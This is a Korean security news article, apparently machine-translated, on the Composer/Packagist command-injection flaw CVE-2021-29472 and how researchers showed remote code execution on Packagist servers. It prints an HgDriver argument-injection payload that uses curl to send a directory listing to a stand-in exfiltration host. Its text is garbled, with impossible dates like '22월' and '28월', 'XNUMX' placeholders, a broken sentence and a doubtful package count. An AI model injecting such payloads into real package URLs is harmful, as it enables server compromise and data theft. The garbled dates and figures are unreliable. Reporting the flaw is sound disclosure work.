Packagist PHP 저장소를 손상시킬 수 있는 Composer 패키지 관리자의 취약점

소스 코드를 다운로드하기 위한 주소를 지정하는 특수 형식의 URL 값이 포함된 패키지를 처리할 때 시스템에서 임의의 명령이 실행되도록 허용하는 심각한 취약점(CVE-2021-29472)이 Composer 종속성 관리자에서 확인되었습니다. Git, Subversion 및 Mercurial 소스 제어 시스템을 사용할 때 사용되는 GitDriver, SvnDriver 및 HgDriver 구성 요소에서 문제가 발생합니다. 이 취약성은 Composer 릴리스 1.10.22 및 2.0.13에서 해결되었습니다.

특히 이 문제는 Composer의 기본 패키지 저장소인 Packagist에 주로 영향을 미쳤습니다. Packagist에는 PHP 개발자를 위한 306개의 패키지가 포함되어 있으며 매월 1.4억 건 이상의 다운로드를 제공합니다. 실험에서는 문제에 대한 지식이 있는 경우 공격자가 Packagist 인프라를 제어하고 관리자의 자격 증명을 가로채거나 패키지 다운로드를 타사 서버로 리디렉션하여 백도어를 대체하기 위해 악의적인 변경 사항이 포함된 패키지 변형을 전달하도록 구성할 수 있음을 보여주었습니다. 종속성 설치 프로세스 중에.

최종 사용자에 대한 위험은 일반적으로 Composer.json의 콘텐츠가 사용자에 의해 결정되고 일반적으로 신뢰할 수 있는 타사 저장소에 액세스할 때 소스 링크가 전송된다는 사실로 제한됩니다. 주요 타격은 Packagist.org 저장소와 사용자로부터받은 데이터 전송으로 Composer를 호출하는 Private Packagist 서비스에 떨어졌습니다. 공격자는 특별히 설계된 패키지를 배치하여 Packagist 서버에서 코드를 실행할 수 있습니다.

Packagist 팀은 취약점이 보고된 후 12시간 이내에 취약점을 수정했습니다. 연구원들은 22월 27일 Packagist 개발자들에게 비공개로 통보했고, 같은 날 문제가 해결되었습니다. 이 취약성을 해결하는 Composer의 공개 업데이트는 28월 XNUMX일에 게시되었으며 세부 정보는 XNUMX월 XNUMX일에 공개되었습니다. Packagist 서버의 로그 감사에서는 취약점과 관련된 의심스러운 활동이 발견되지 않았습니다.

이 문제는 루트 Composer.json 파일과 소스 다운로드 링크의 URL 유효성 검사 코드에 있는 버그로 인해 발생합니다. 이 오류는 2011년 XNUMX월부터 코드에 존재했습니다. Packagist는 "fromShellCommandline"을 호출하고 명령줄 인수를 전달하여 실행되는 특정 소스 제어 시스템에 묶이지 않고 코드 로딩을 ​​구성하기 위해 특수 레이어를 사용합니다. 예를 들어, git의 경우 "git ls-remote -heads $URL" 명령이 호출됩니다. 여기서 URL은 "ProcessExecutor::escape($url)" 메서드를 사용하여 처리되며 "$(. ..)" 또는 "` ...`".

문제의 핵심은 ProcessExecutor::escape 메소드가 URL에 추가 호출 매개변수를 지정할 수 있는 "—" 시퀀스를 이스케이프하지 않았다는 것입니다. 이러한 이스케이프는 GitDriver.php, SvnDriver.php 및 HgDriver.php 드라이버에서 누락되었습니다. GitDriver.php 공격은 "git ls-remote" 명령이 경로 뒤에 추가 인수 지정을 지원하지 않는다는 사실로 인해 방해를 받았습니다. "--config" 매개변수를 "hq" 유틸리티에 전달하면 HgDriver.php에 대한 공격이 가능한 것으로 나타났습니다. 이 유틸리티를 사용하면 "alias.identify" 설정을 조작하여 모든 명령의 실행을 구성할 수 있습니다. 예를 들어, 컬 유틸리티를 실행하여 코드를 다운로드하고 실행하려면 다음을 지정할 수 있습니다. —config=alias.identify=!curl http://exfiltrate-host.tld —data “$(ls -alh)”

연구원들은 유사한 URL을 가진 테스트 패키지를 Packagist에 게시함으로써 게시 후 서버가 현재 디렉터리의 파일 목록이 포함된 AWS의 Packagist 서버 중 하나로부터 HTTP 요청을 수신했음을 확인했습니다.

출처 : opennet.ru